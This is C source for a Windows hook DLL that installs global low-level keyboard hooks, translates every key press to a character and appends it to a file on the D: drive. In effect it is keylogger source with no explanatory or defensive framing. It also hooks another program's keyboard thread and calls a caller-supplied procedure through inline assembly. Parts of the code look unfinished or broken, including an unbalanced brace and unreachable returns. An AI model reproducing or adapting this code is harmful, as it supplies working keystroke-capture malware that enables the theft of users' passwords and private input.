#define	_WIN32_WINNT 0x500

#include<windows.h>
#include<stdio.h>

#pragma data_seg(".share" )
HWND	hwnd = NULL;
HHOOK	hHook_mouse = 0;
HHOOK	hHook = 0;
HHOOK	hllHook = 0;
HHOOK	hQHook = 0;
BOOL	bShiftDown = FALSE;
HINSTANCE	hInstance = 0;
DWORD	threadId = 0;
int		q_hook_proc	= 0;

KBDLLHOOKSTRUCT		tempKey = {0,0,0,0};
WPARAM				ll_wParam = 0;
#pragma data_seg()


int APIENTRY DllMain( HMODULE hModule,
					 DWORD dwReason,
					 LPVOID lpReserved)
{
	hInstance = hModule;
	return 1;
}
LRESULT	CALLBACK filter( int nCode, WPARAM wParam,	LPARAM lParam )
{
	int retvalue;
	FILE	*fp;
	KBDLLHOOKSTRUCT	*p;
	WORD	ch;
	BYTE	keystate[ 256 ] = {0};

	p = (KBDLLHOOKSTRUCT *)lParam;
	if( p->flags == 0x10 || p->flags == 0x90 )
	{
		_asm
		{
			push lParam
			push wParam
			push nCode
			mov eax,q_hook_proc
			call eax
			mov retvalue,eax
		}
		return retvalue;
	}
	if( p->vkCode == VK_SHIFT || p->vkCode == VK_LSHIFT || p->vkCode == VK_RSHIFT )
	{
		if( (p->flags & LLKHF_UP ) == 0 )
			bShiftDown = TRUE;
		else
			bShiftDown = FALSE;
	}
	if( (p->flags & LLKHF_UP) == 0 ){
		fp = fopen("d:\\inf.txt","a+");
		//ch = MapVirtualKey( p->vkCode,2 );
		GetKeyboardState( keystate );
		if( bShiftDown)
			keystate[ VK_SHIFT ] = 0x80;
		else
			keystate[ VK_SHIFT ] = 0;

		ToAscii( p->vkCode,p->scanCode,keystate,&ch,0 );
		fprintf(fp, "%c",ch );
		fclose(fp);
			
	}
			
	_asm
	{
		push lParam
		push wParam
		push nCode
		mov eax,q_hook_proc
		call eax
		mov retvalue,eax
	}
	return retvalue;
}
LRESULT CALLBACK Lock( int dwCode , WPARAM wParam , LPARAM lParam )
{
	FILE	*fp;
	KBDLLHOOKSTRUCT	*p;
	WORD	ch;
	BYTE	keystate[ 256 ] = {0};
	int retvalue;
	
	if( GetCurrentThreadId() == threadId )
	{

		/*if( tempKey.flags == 0x10 || tempKey.flags == 0x90 )
			return CallNextHookEx( hHook,dwCode,wParam,lParam );
		if( tempKey.scanCode == 0 )
			return CallNextHookEx( hHook,dwCode,wParam,lParam );
		if( tempKey.vkCode == VK_SHIFT || tempKey.vkCode == VK_LSHIFT || tempKey.vkCode == VK_RSHIFT )
		{
			if( (tempKey.flags & LLKHF_UP ) == 0 ){
				bShiftDown = TRUE;
			}
			else{
				bShiftDown = FALSE;
			}
			tempKey.scanCode = 0;
			return CallNextHookEx( hHook,dwCode,wParam,lParam );
		}
		if( (tempKey.flags & LLKHF_UP) == 0 ){
			fp = fopen("d:\\inf.txt","a+");
			//ch = MapVirtualKey( p->vkCode,2 );
			GetKeyboardState( keystate );
			if( bShiftDown)
				keystate[ VK_SHIFT ] = 0x80;
			else
				keystate[ VK_SHIFT ] = 0;

			ToAscii( tempKey.vkCode,tempKey.scanCode,keystate,&ch,0 );
			fprintf(fp, "%c",ch );
			fclose(fp);
			_asm
			{
				lea eax,tempKey
				push eax
				push ll_wParam
				push dwCode
				mov eax,q_hook_proc
				call eax
			}
			tempKey.flags |= LLKHF_UP;
			_asm{
				lea eax,tempKey
				push eax
				push ll_wParam
				push dwCode
				mov eax,q_hook_proc
				call eax
			}
	
			tempKey.scanCode = 0;
		}*/
		/*_asm{
				lea eax,tempKey
				push eax
				push ll_wParam
				push dwCode
				mov eax,q_hook_proc
				call eax
				mov retvalue,eax
			}
			*/
		if( hQHook == 0 ){
			hQHook = SetWindowsHookEx( WH_KEYBOARD_LL,filter,0,0 );
			if( hQHook == 0 )
				MessageBox( NULL,"failed","hook",MB_OK );
		}
		return 	/*retvalue*/CallNextHookEx( hHook,dwCode,wParam,lParam );
	

	return 	CallNextHookEx( hllHook,dwCode,wParam,lParam );
}
LRESULT	CALLBACK Lock_mouse( int dwCode ,WPARAM wParam , LPARAM lParam )
{
	if( ((MOUSEHOOKSTRUCT *)lParam)->hwnd == hwnd || GetParent( ((MOUSEHOOKSTRUCT *)lParam)->hwnd) == hwnd )
		return CallNextHookEx( hHook , dwCode , wParam,lParam);
	SetPriorityClass( GetCurrentProcess() , HIGH_PRIORITY_CLASS );
	SetForegroundWindow( hwnd );
	return 1;
}
int InstallHook( HWND MainHwnd, DWORD	hookProc)
{
	char buffer[256];
	hwnd = MainHwnd;
	threadId = GetWindowThreadProcessId( hwnd,NULL );
	sprintf(buffer,"threadId = %x",threadId );
	MessageBox(NULL,buffer,"hook",MB_OK );
	hHook = SetWindowsHookEx( WH_KEYBOARD , Lock,hInstance , threadId );
	hllHook = SetWindowsHookEx( WH_KEYBOARD_LL , Lock,hInstance , 0 );
	//hHook_mouse = SetWindowsHookEx( WH_MOUSE , Lock_mouse , hInstance , NULL );
	if( hHook == 0 )
		MessageBox( NULL,"hook failed!","hook",MB_OK );
	if( hllHook == 0 )
		MessageBox( NULL,"hook_ll failed!","hook",MB_OK );
	q_hook_proc = hookProc;
	return hHook;
}
int UnInstallHook()
{
	UnhookWindowsHookEx( hHook );
	//UnhookWindowsHookEx( hHook_mouse );
	return 0;
}

